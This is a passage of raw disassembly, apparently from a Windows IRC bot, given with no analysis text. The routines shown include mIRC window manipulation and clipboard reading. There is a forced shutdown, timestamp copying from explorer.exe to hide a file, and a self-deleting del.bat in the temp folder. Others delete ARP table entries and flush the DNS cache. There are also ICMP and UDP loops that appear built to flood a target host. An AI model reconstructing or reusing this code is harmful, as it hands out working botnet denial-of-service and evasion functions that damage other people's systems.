		jz	short loc_408EA3
		push	[ebp+arg_4]
		push	edi
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_408E9C
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D30
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415C80
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416F00
		push	[ebp+arg_4]
		call	sub_415C80
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415BA0
		push	ebx
		push	edi
		call	sub_415B90
		add	esp, 30h
		mov	esi, edi


loc_408E9C:				; CODE XREF: sub_408E1D+3Cj
		push	ebx
		call	sub_415DE1
		pop	ecx


loc_408EA3:				; CODE XREF: sub_408E1D+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_408EAA
; ---------------------------------------------------------------------------


loc_408EA8:				; CODE XREF: sub_408E1D+Cj
					; sub_408E1D+13j ...
		xor	eax, eax


loc_408EAA:				; CODE XREF: sub_408E1D+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_408E1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EAE	proc near		; CODE XREF: sub_40D168+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415500
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415C80
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_408EE4
		or	eax, 0FFFFFFFFh
		jmp	short loc_408F57
; ---------------------------------------------------------------------------


loc_408EE4:				; CODE XREF: sub_408EAE+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_408F06


loc_408EF0:				; CODE XREF: sub_408EAE+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_408EFD
		cmp	dl, 0Dh
		jnz	short loc_408F01


loc_408EFD:				; CODE XREF: sub_408EAE+48j
		and	byte ptr [ecx+esi], 0


loc_408F01:				; CODE XREF: sub_408EAE+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_408EF0


loc_408F06:				; CODE XREF: sub_408EAE+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_408F37
		lea	edi, [ebp+var_7CC]


loc_408F13:				; CODE XREF: sub_408EAE+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_408F32
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_408F32
		cmp	ebx, 1F4h
		jge	short loc_408F37
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_408F32:				; CODE XREF: sub_408EAE+69j
					; sub_408EAE+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_408F13


loc_408F37:				; CODE XREF: sub_408EAE+5Dj
					; sub_408EAE+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_408F55
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_415560
		add	esp, 0Ch


loc_408F55:				; CODE XREF: sub_408EAE+8Ej
		mov	eax, ebx


loc_408F57:				; CODE XREF: sub_408EAE+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_408EAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F5B	proc near		; CODE XREF: sub_408FB5+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_408F94
		push	ebx
		mov	ebx, edi


loc_408F78:				; CODE XREF: sub_408F5B+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_408F97
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_408F78
		pop	ebx


loc_408F94:				; CODE XREF: sub_408F5B+18j
		pop	edi
		pop	esi
		retn
sub_408F5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F97	proc near		; CODE XREF: sub_408F5B+25p
					; sub_408FB5+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417221
		cmp	al, 61h
		pop	ecx
		jl	short loc_408FB2
		cmp	al, 7Ah
		jg	short loc_408FB2
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_408FB2:				; CODE XREF: sub_408F97+Ej
					; sub_408F97+12j
		xor	eax, eax
		retn
sub_408F97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408FB5	proc near		; CODE XREF: sub_40A693+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D00
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415C80
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415C80
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_408F5B
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_408FF3:				; CODE XREF: sub_408FB5+B6j
		test	esi, esi
		jle	short loc_409071
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417221
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417221
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409069


loc_409019:				; CODE XREF: sub_408FB5+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_408F97
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40903A
		mov	eax, ecx


loc_40903A:				; CODE XREF: sub_408FB5+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40906D
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417221
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417221
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409019


loc_409069:				; CODE XREF: sub_408FB5+62j
		dec	edi
		dec	esi
		jmp	short loc_408FF3
; ---------------------------------------------------------------------------


loc_40906D:				; CODE XREF: sub_408FB5+8Aj
		xor	eax, eax
		jmp	short loc_409076
; ---------------------------------------------------------------------------


loc_409071:				; CODE XREF: sub_408FB5+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409076:				; CODE XREF: sub_408FB5+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40907B	proc near		; CODE XREF: sub_40D2E0+3C8Cp
					; sub_40D2E0+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_4220E4	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_4090B4:				; CODE XREF: sub_40907B+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4090C0
		cmp	cl, 9
		jnz	short loc_4090C3


loc_4090C0:				; CODE XREF: sub_40907B+3Ej
		inc	eax
		jmp	short loc_4090B4
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_40907B+43j
					; sub_40907B+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4090DD
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4090C3
		cmp	cl, 21h
		jl	short loc_4090C3


loc_4090DD:				; CODE XREF: sub_40907B+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_436598
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_4159FA
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40907B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409105	proc near		; CODE XREF: sub_40D2E0+5732p
		push	esi
		push	0
		call	ds:dword_436438	; OpenClipboard
		test	eax, eax
		jz	short loc_40913C
		push	1
		call	ds:dword_436458	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40913C
		push	edi
		push	esi
		call	ds:dword_4220EC	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4220E8	; GlobalUnlock
		call	ds:dword_4364BC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40913C:				; CODE XREF: sub_409105+Bj
					; sub_409105+19j
		xor	eax, eax
		pop	esi
		retn
sub_409105	endp


; =============== S U B	R O U T	I N E =======================================



sub_409140	proc near		; CODE XREF: sub_40D2E0+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_436474	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4091BC
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:off_4220F8
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:off_4220F4
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_415480
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_4364C4	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_4364C4	; SendMessageA
		push	ebx
		call	ds:off_4220F0
		push	edi
		call	ds:off_422074
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4091BE
; ---------------------------------------------------------------------------


loc_4091BC:				; CODE XREF: sub_409140+16j
		xor	eax, eax


loc_4091BE:				; CODE XREF: sub_409140+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091C2	proc near		; CODE XREF: sub_40CB17+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:off_436524
		test	eax, eax
		jz	short loc_409261
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:off_42207C
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; sub_4DB2B0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409261
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_422100	; GetFileTime
		push	ebx
		mov	ebx, ds:off_422074
		call	ebx ; sub_4DB3D5
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; sub_4DB2B0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409261
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4220FC	; SetFileTime
		push	esi
		call	ebx ; sub_4DB3D5


loc_409261:				; CODE XREF: sub_4091C2+2Aj
					; sub_4091C2+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4091C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409266	proc near		; CODE XREF: sub_40D2E0+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41358D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_4363B0	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409288	proc near		; CODE XREF: sub_40B105+472p
					; sub_40D2E0+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42ACD8, esi
		push	edi
		jz	short loc_4092AC
		cmp	ds:dword_436538, esi
		jnz	short loc_4092AC
		push	esi
		call	sub_40A7C2
		pop	ecx


loc_4092AC:				; CODE XREF: sub_409288+13j
					; sub_409288+1Bj
		call	sub_4150F5
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:dword_42210C	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_415480
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:off_42207C
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40940C
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_415480
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	ds:dword_4220B0	; WriteFile
		push	edi
		call	ds:off_422074
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415500
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415500
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_4325D8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:off_4220E0
		push	eax
		call	ds:off_422060
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:off_422080
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4093B4
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_422108	; SetFileAttributesA


loc_4093B4:				; CODE XREF: sub_409288+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_415480
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:dword_422000	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_422104	; CreateProcessA


loc_40940C:				; CODE XREF: sub_409288+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409288	endp


; =============== S U B	R O U T	I N E =======================================



sub_409410	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409438
		push	[esp+arg_0]
		call	ds:dword_4364EC	; gethostbyname
		test	eax, eax
		jnz	short loc_409431
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_409410+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409438:				; CODE XREF: sub_409410+Dj
		retn
sub_409410	endp


; =============== S U B	R O U T	I N E =======================================



sub_409439	proc near		; CODE XREF: sub_40D000+D6p
		mov	ecx, ds:dword_436390
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409447
		call	ecx	; DnsFlushResolverCache

locret_409447:				; CODE XREF: sub_409439+Aj
		retn
sub_409439	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409448	proc near		; CODE XREF: sub_40D2E0:loc_4129C4p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_4364E4	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40950E
		sub	ecx, 32h
		jz	loc_409507
		sub	ecx, 48h
		jz	short loc_4094A8
		sub	ecx, 6Eh
		jz	short loc_4094A1


loc_40948A:				; CODE XREF: sub_409448+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_429174
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	short loc_4094E8
; ---------------------------------------------------------------------------


loc_4094A1:				; CODE XREF: sub_409448+40j
		push	offset unk_429140
		jmp	short loc_4094DA
; ---------------------------------------------------------------------------


loc_4094A8:				; CODE XREF: sub_409448+3Bj
		push	[ebp+var_8]
		call	sub_415D2F
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415500
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_4094D5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_4364E4	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40950E
		jmp	short loc_40948A
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_409448+79j
		push	offset unk_429100


loc_4094DA:				; CODE XREF: sub_409448+5Ej
					; sub_409448+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_4094E8:				; CODE XREF: sub_409448+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40A5B3
		pop	ecx


loc_4094F8:				; CODE XREF: sub_409448+C8j
					; sub_409448+DCj
		push	esi
		call	sub_415DE1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409507:				; CODE XREF: sub_409448+32j
		push	offset unk_4290C0
		jmp	short loc_4094DA
; ---------------------------------------------------------------------------


loc_40950E:				; CODE XREF: sub_409448+29j
					; sub_409448+89j
		cmp	[esi], edi
		jbe	short loc_4094F8
		lea	ebx, [esi+4]


loc_409515:				; CODE XREF: sub_409448+DAj
		push	ebx
		call	ds:dword_4364E0	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_409515
		jmp	short loc_4094F8
sub_409448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409526	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43640C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43679C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_415480
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409526	endp


; =============== S U B	R O U T	I N E =======================================



sub_40957F	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_4095A8
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40959B:				; CODE XREF: sub_40957F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40959B
		pop	edi
		jmp	short loc_4095AC
; ---------------------------------------------------------------------------


loc_4095A8:				; CODE XREF: sub_40957F+Aj
		mov	edx, [esp+4+arg_0]


loc_4095AC:				; CODE XREF: sub_40957F+27j
		test	esi, esi
		pop	esi
		jz	short loc_4095B6
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_4095B6:				; CODE XREF: sub_40957F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40957F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095CC	proc near		; DATA XREF: sub_40D2E0+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_4363F4	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_409627
		lea	eax, [ebp+var_C0]
		push	eax
		call	ds:dword_4364EC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40962D


loc_409627:				; CODE XREF: sub_4095CC+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40968A


loc_40962D:				; CODE XREF: sub_4095CC+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4291F0
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40966D
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40BAE7
		add	esp, 14h


loc_40966D:				; CODE XREF: sub_4095CC+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_30]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_40968A:				; CODE XREF: sub_4095CC+5Fj
		cmp	eax, ebx
		jz	short loc_40969A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40969D
; ---------------------------------------------------------------------------


loc_40969A:				; CODE XREF: sub_4095CC+C0j
		mov	[ebp+var_4], esi


loc_40969D:				; CODE XREF: sub_4095CC+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415500
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_4096BD
		mov	[ebp+var_3C], eax


loc_4096BD:				; CODE XREF: sub_4095CC+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_4096C5
		mov	[ebp+var_38], edi


loc_4096C5:				; CODE XREF: sub_4095CC+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_4096F2


loc_4096CC:				; CODE XREF: sub_4095CC+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	ds:dword_43638C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_4096CC


loc_4096F2:				; CODE XREF: sub_4095CC+FEj
		push	[ebp+arg_0]
		call	ds:dword_436520	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4291B4
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40973B
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40BAE7
		add	esp, 14h


loc_40973B:				; CODE XREF: sub_4095CC+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_30]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
sub_4095CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409758	proc near		; DATA XREF: sub_40D2E0+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_4364E8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40983D
		lea	eax, [ebp+var_B0]
		push	eax
		call	ds:dword_4364EC	; gethostbyname
		cmp	eax, edi
		jnz	short loc_409836
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_429264
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_409819
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40BAE7
		add	esp, 14h


loc_409819:				; CODE XREF: sub_409758+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_20]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


